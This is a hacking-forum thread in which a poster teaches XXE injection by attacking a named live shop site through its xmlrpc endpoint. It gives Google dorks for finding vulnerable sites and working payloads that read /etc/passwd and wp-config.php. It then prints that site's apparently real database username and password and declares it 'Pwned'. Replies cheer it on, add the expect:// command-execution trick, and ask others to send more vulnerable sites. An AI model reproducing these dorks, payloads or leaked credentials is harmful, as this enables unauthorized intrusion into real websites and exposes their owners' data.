[benzi]

sup.
i saw that there are no mentions in this forum about XXE Injection, except from one thread.
which is not a good thing, since this attack is really nice.
lets start.

xxe stands for xml external entity.
in this attack, we're using xml entity commands to read files (mainly), execute commands, DOS, port scan and in some versions even upload files.
whats that mean?
if sqli works using sql commands, xxe works using xml commands.
in this tut, i will be talking about reading local files using xxe error based.
i belive we learn best from practice, thats why im demonstrating on live site.

TOC
- find vulns.
- exploitation.

find vulns
so thats all good and beautiful, but we still need a site to practice on.
which means we need dork, and i found nice one. 🙂

Code

allinurl:skin/frontend

the usage is navigate from
site.com/skin/frontend
to
site.com/api/xmlrpc

if we want to check specific site, we can also use google dorking-

Code

site:site.com inurl:xmlrpc

exploitation
thats what a typical xxe vuln looks like-

Code

https://malga.ca/boutique/api/xmlrpc

lets do a test, to see if its vuln.
we will create a new entity named "tutorial", and put in a text.
now, as i said, this tut will focus on error based.
to create an error, we're using <methodName> tag and <methodCall> tag, which basically calls a xml method.
now we will call are entity using the 2 tags, and we will get an error because theres no method called "tutorial".
thats how the command will look like-

Code

<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

the usage is simple.
GET - site
POST - command.


and as expected, we got an error.

<string>Method "benz" does not exist</string>

lets try to do more than that.
like read /etc/passwd, and we can do that by use file:// wrapper.

Code

<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "file:///etc/passwd" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

as we can see, we can use php wrappers.
to read the source of other files, i'll be using php://filter.
i use it because that allowes us to see the full source, not only the html.
lets find the config file.
like lfd, we first check the main index.php.
since we are in /boutique directory, we will navigate to the parent directory.

Code

<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../index.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

lets decode that base64, and see the content of the file.


as we can see, the site use wordpress.
the config file of wordpress is wp-config.php
lets check in this site-

Code

<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

we got another base64, which means the file exist.
lets decode it.

Code

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'malgaca_wp');

/** MySQL database username */
define('DB_USER', 'malgaca_wpuser');

/** MySQL database password */
define('DB_PASSWORD', 'J41M4lAuC03ur');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Pwned.

hope you learned something 🙂

[Thehackerguy1]

Thanks for this sir, when i am free i will surely try this. Thanks a lot sir.

[HaxOr❤]

Nice tutorial man. Good to see you still active! :)

[benzi]

thanks, glad that you like that.
              

[Death Eater]

Great tutorial OP, this is something that a lot of people will find helpful

[NIIGHT HAWKE]

Awesome tutorial! Thank you. Learned something new!

[benzi]

thanks all.
if someone got another site that vuln (not /api/xmlrpc) pm me, i would like to make a tut on rce and file upload.

[Th3PonyWizard]

Writing a tutorial about XML based attacks and I'm compiling them all
XML Injection
XXE
XML DoS (Bomb based)
XSLT Injections
XML XSS

I literally was about to write this one. Good going and awesome thread.

[benzi]

I literally was about to write this one. Good going and awesome thread.

do you got a vuln site which is not /api ?

[Th3PonyWizard]

do you got a vuln site which is not /api ?

No but I have my own server and I code vulnerabilities on it

[SIM-1866423]

Good to see you, again ✌

&&&&&&

[Hooded Robin]

This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs 🤭

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick 🤝

[Jonetsu]

thanks, glad that you like that.
              

Thanks for this tutorial nice share :)

[benzi]

This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs 🤭

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick 🤝

i'll tell you more than that, you can actually get xxe from postgresql injection.
i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

[Freerunning]

Thank you so much sir for the tutorial gonna bookmark it and study it later.